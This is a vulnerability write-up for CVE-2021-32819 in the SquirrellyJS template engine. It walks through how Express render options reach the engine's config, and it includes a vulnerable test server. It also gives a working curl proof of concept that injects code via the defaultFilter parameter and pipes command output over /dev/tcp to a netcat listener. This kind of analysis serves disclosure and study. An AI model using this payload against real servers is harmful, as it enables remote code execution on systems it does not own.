GHSL-2021-023 / CVE-2021-32819

An analysis for GHSL-2021-023 / CVE-2021-32819 vulnerability.

INTRODUCTION

SQUIRRELLY

Squirrelly [1] is a template engine written in JavaScript.

DOWNLOAD STATISTICS

According to NPM-STAT [2], the total number of downloads between 2020-05-16 and 2021-06-11: 317,730

ISSUE

EXPRESS RENDER API

The Express render API [3] was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross-Site Scripting (XSS) to Remote Code Execution (RCE).

SQUIRRELLY

SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. [4]

IMPACT

This vulnerability leads to remote code execution (RCE). [4]

VULNERABLE VERSIONS

SquirrellyJS is vulnerable from version v8.0.0 to v8.0.8.

PATCH

No available fix for SquirrellyJS currently. [4]

  • 01/25/2021: Report sent to maintainers by GHSL

  • 04/25/2021: Deadline expired

  • 05/14/2021: Publication as per our disclosure policy [5]

REPRODUCIBILITY

ENVIRONMENT SETUP

Install NodeJS run-time environment, Node Package Manager (NPM), ExpressJS, and SquirellyJS.

sudo apt update
sudo apt install nodejs npm
mkdir GHSL-2021-023 && cd GHSL-2021-023
npm install express
npm install squirrelly

GHSL-2021-023/app.js - vulnerable server code.

const express = require('express')
const app = express()
const port = 3000
 
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index.squirrelly', req.query)
})
 
app.listen(port, () => {})
module.exports = app;

GHSL-2021-023/index.squirrelly - template.

<!DOCTYPE html>
<html>
    <head>
        <title>GHSL-2021-023</title>
    </head>
<body>
    <h1>{{it.variable}}</h1>
</body>
</html>

Start the vulnerable application server.

node app.js

PROOF OF CONCEPT

Start a Netcat listener on port 443.

nc -lnvp 443

Send the crafted payload via curl.

curl -G \
--data-urlencode "defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c \'/bin/id > /dev/tcp/127.0.0.1/443\''); //" \
http://localhost:3000/

When the payload is triggered via curl, the vulnerable server executes our malicious code. The code executes /bin/id command on the server and sends the output to the Netcat listener. The output is on the top of the TMUX window.

ANALYSIS

Send a request to start the analysis.

curl -G \
--data-urlencode "variable=HelloWorld" \
http://localhost:3000/

The ExpressJS calls renderFile function from the SquirrellyJS engine after the request has been made (view.js line 135).

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

this.engine variable is the renderFile function.

renderFile(filename, data, cb)

definition (file-handlers.ts line 113).

function renderFile(filename, data, cb) {
  data = data || {};
  var Config = getConfig(data);
  ...
  return tryHandleCache(Config, data, cb);
}

Parameters

  • filename is the template path.

"GHSL-2021-023/index.squirrelly"
  • data is the template data that contains the request query.

{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • cb is a callback function that is defined in another scope.

renderFile function calls getConfig function (line 3).

getConfig(override, baseConfig)

definition (config.ts line 101).

function getConfig (override: PartialConfig, baseConfig?: SqrlConfig): SqrlConfig {

  var res: PartialConfig = {}
  copyProps(res, defaultConfig)

  if (baseConfig) {
    copyProps(res, baseConfig)
  }

  if (override) {
    copyProps(res, override)
  }

  ;(res as SqrlConfig).l.bind(res)

  return res as SqrlConfig
}

override parameter is the template data that contains the request query.

{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}

baseConfig parameter is undefined.

getConfig function defines res variable as an empty object (line 3), then copies global defaultConfig properties to res properties (line 4), after that skips baseConfig condition because it's undefined (line 6) then copies override properties to res properties (line 11), finally returns res variable (line 16) to Config variable in renderFile function scope (line 3).

Config variable is:

{
    varName: 'it', 
    ..., 
    autoEscape: true, 
    defaultFilter: false, 
    ..., 
    settings: {...},
    variable: 'HelloWorld', 
    ... 
}

Notice

Since request queries are copied to Config object, which is the set of compilation options, that means the sender can overwrite Config properties values.

After getConfig function returns res variable to Config variable, renderFile function calls tryHandleCache function (line 5).

tryHandleCache(options, data, cb)

definition (file-handlers.ts line 69).

/**
 * Try calling handleCache with the given options and data and call the
 * callback with the result. If an error occurs, call the callback with
 * the error. Used by renderFile().
 *
 * @param {Options} options    compilation options
 * @param {Object} data        template data
 * @param {RenderFileCallback} cb callback
 * @static
 */

function tryHandleCache (options: FileOptions, data: object, cb: CallbackFn) {
  var result
  if (!cb) {
    ...
  } else {
    try {
      handleCache(options)(data, options, cb)
    } catch (err) {
      return cb(err)
    }
  }
}

Parameters

  • options is the set of compilation options.

{
  varName: "it",
  ...,
  autoEscape: true,
  defaultFilter: false,
  tags: ["{{", "}}"],
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}
  • data is the template data that contains the request query.

{
  settings: { ... },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • cb is a callback function that is defined in another scope.

tryHandleCache function skips the condition (line 14) because the cb variable is defined as a callback function. tryHandleCache function calls handleCache function (line 18).

handleCache(options)

definition (file-handlers.ts line 43).

/**
 * Get the template from a string or a file, either compiled on-the-fly or
 * read from cache (if enabled), and cache the template if needed.
 *
 * If `options.cache` is true, this function reads the file from
 * `options.filename` so it must be set prior to calling this function.
 *
 * @param {Options} options   compilation options
 * @param {String} [template] template source
 * @return {(TemplateFunction|ClientFunction)}
 * Depending on the value of `options.client`, either type might be returned.
 * @static
 */

function handleCache (options: FileOptions): TemplateFunction {
  var filename = options.filename
  ...
  return compile(readFile(filename), options)
}

options parameter is the set of compilation options.

{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}

handleCache function gets the template (index.squirrelly) content from a file, then handleCache function calls compile function (line 18).

compile(str, env)

definition (compile.ts line 14).

export default function compile (str: string, env?: PartialConfig): TemplateFunction {
  var options: SqrlConfig = getConfig(env || {})
  var ctor = Function // constructor

  ...
  
  try {
    return new ctor(
      options.varName,
      'c', // SqrlConfig
      'cb', // optional callback
      compileToString(str, options)
    ) as TemplateFunction // eslint-disable-line no-new-func
  } catch (e) {
    if (e instanceof SyntaxError) {
      throw SqrlErr(
        'Bad template syntax\n\n' +
          e.message +
          '\n' +
          Array(e.message.length + 1).join('=') +
          '\n' +
          compileToString(str, options)
      )
    } else {
      throw e
    }
  }
}

Parameters

  • str is the content of the template (index.squirrelly)

"<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
  • env is the set of compilation options.

{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}

compile function defines options as env (line 2). then creates an alias of Function constructor called ctor at (line 3). finally returns a new ctor (Function) (line 8) to (line 13).

ctor parameters

options.varName is:

"it"

it is the template data that contains the request query.

c is the set of compilation options.

cb is a callback function defined in another scope.

compileToString function returns the ctor Function body (line 22).

compileToString(str, env)

definition (compile-string.ts line 12).

export default function compileToString (str: string, env: SqrlConfig) {
  var buffer: Array<AstObject> = Parse(str, env)
  var res =
    "var tR='';" +
    (env.useWith ? 'with(' + env.varName + '||{}){' : '') +
    compileScope(buffer, env) +
    'if(cb){cb(null,tR)} return tR' +
    (env.useWith ? '}' : '');
  ...
  return res
}

Parameters

  • str is the content of the template file (index.squirrelly).

"<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
  • env is the set of compilation options.

{
  varName: "it",
  autoTrim: [
    false,
    "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}

compileToString function defines buffer and calls parse function (line 2) to prase the template content and its variables

[
  "<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>",
  {
    f: [
    ],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]

compileToString function defines res variable for the ctor function body (line 3)

  var res =
    "var tR='';" +
    (env.useWith ? 'with(' + env.varName + '||{}){' : '') +
    compileScope(buffer, env) +
    'if(cb){cb(null,tR)} return tR' +
    (env.useWith ? '}' : '');

useWith is false

 var res = "var tR='';" + compileScope(buffer, env) + 'if(cb){cb(null,tR)} return tR'

compileToString function calls compileScope function to append its return value to res variable.

compileScope(buff, env)

definition (compile-string.ts line 101).

export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
  var i = 0
  var buffLength = buff.length
  var returnStr = ''

  for (i; i < buffLength; i++) {
    var currentBlock = buff[i]
    if (typeof currentBlock === 'string') {
      var str = currentBlock
      returnStr += "tR+='" + str + "';"
    } else {
      var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
      var content = currentBlock.c || ''
      var filters = currentBlock.f
      var name = currentBlock.n || ''
      var params = currentBlock.p || ''
      var res = currentBlock.res || ''
      var blocks = currentBlock.b
      var isAsync = !!currentBlock.a
      if (type === 'i') {
        if (env.defaultFilter) {
          content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
        }
        var filtered = filter(content, filters)
        if (!currentBlock.raw && env.autoEscape) {
          filtered = "c.l('F','e')(" + filtered + ')'
        }
        returnStr += 'tR+=' + filtered + ';'
      } else if (type === 'h') {
        ...
      } else if (type === 's') {
        ...
      } else if (type === 'e') {
        ...
      }
    }
  }

  return returnStr
}

Parameters

  • buff is an array that contains a parsed template content.

[
  "<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>",
  {
    f: [],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]
  • env is the set of compilation options.

{
  varName: "it",
  autoTrim: [false, "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: { },
  ...
}

The for loop iterates through all elements in the buff array (line 6). If the element is a string (line 8), it adds the string to returnStr variable. If it's not a string, it executes the else block (line 11).

The first and the last element is a strings buff[0], buff[2], where buff[1] is an object

  {
    f: [],
    c: "it.variable",
    t: "i",
  }

The type variable is currentBlock.t (line 12) where t is equal to "i" (line 20).

compileScope function checks if env.defaultFilter is defined or true (line 21).

In case env.defaultFilter is defined or true, the env.defaultFilter value is going to be appended to the content variable where the content variable is going to be presented in the function body, but for now, the env.defaultFilter is false. After that, the filter function returns the content to the filtered variable (line 17).

if the condition (line 25) is true

!currentBlock.raw is true 
autoEscape is true

More code is appended to filtered (line 26).

compileScope function returns returnStr (line 39), which is a part of the function body

tR+='<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\\n</body>\\n</html>';

res variable in compileToString function scope is

 var res = "var tR='';" + "tR+='<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'

The anonymous function that is going to be executed

(function anonymous(it,c,cb
) {
    var tR='';
    tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>';
    tR+=c.l('F','e')(it.variable);
    tR+='</h1>\n</body>\n</html>';
    if(cb){cb(null,tR)}
    return tR
})

THE VULNERABILITY

From the analysis, the attacker can control defaultFilter property in the defaultConfig by the request query. The getConfig function overwrites the defaultConfig properties with the override properties where the attacker input is represented.

The GHSL-2021-023 report, authored by Agustin Gianni, exploited the vulnerability using both defaultFilter and autoEscape, but our exploit uses defaultFilter only. There's no need to change or modify the autoEscape property to gain Remote Code Execution.

EXPLOITING THE VULNERABILITY

In order to exploit the vulnerability, you need to meet these conditions:

  1. The condition (line 21) in compileScope function must be true to append the defaultFilter to the content.

  2. The appended code syntax must be correct to get code execution.

curl -G \
--data-urlencode "defaultFilter=e')); console.log('Remote Code Execution') //" \
http://localhost:3000/

The defaultFilter should be e')); console.log('Remote Code Execution') // to gain code execution.

Walkthrough

For the first condition is true only if the defaultFilter is not false or not undefined

The function body

tR+=c.l('F','e')(c.l('F','<defaultFilter>') ...)

The code injection starts at the second parameter (name) of the l function

l(container, name) definition (config.ts line 62)

name parameter is the filter name

1. defaultFilter=e

Filters are defined in (container.ts line 173); There's only one filter e which the payload must starts with.

tR+=c.l('F','e')(c.l('F','e') ...)

2. defaultFilter=e'));

Add a single quote, close the function, close the expression, add a semi-colon to fix the syntax to add a code.

tR+=c.l('F','e')(c.l('F','e'));') ...)

3. defaultFilter=e')); console.log('Remote Code Execution')

Add the code that you need to be executed, for example, output a string to the server console.

tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution')') ...)

4. defaultFilter=e')); console.log('Remote Code Execution') //

Add a single-line comment to remove the next portion that comes after your injected code.

tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution') //') ...)

REFERENCES

Last updated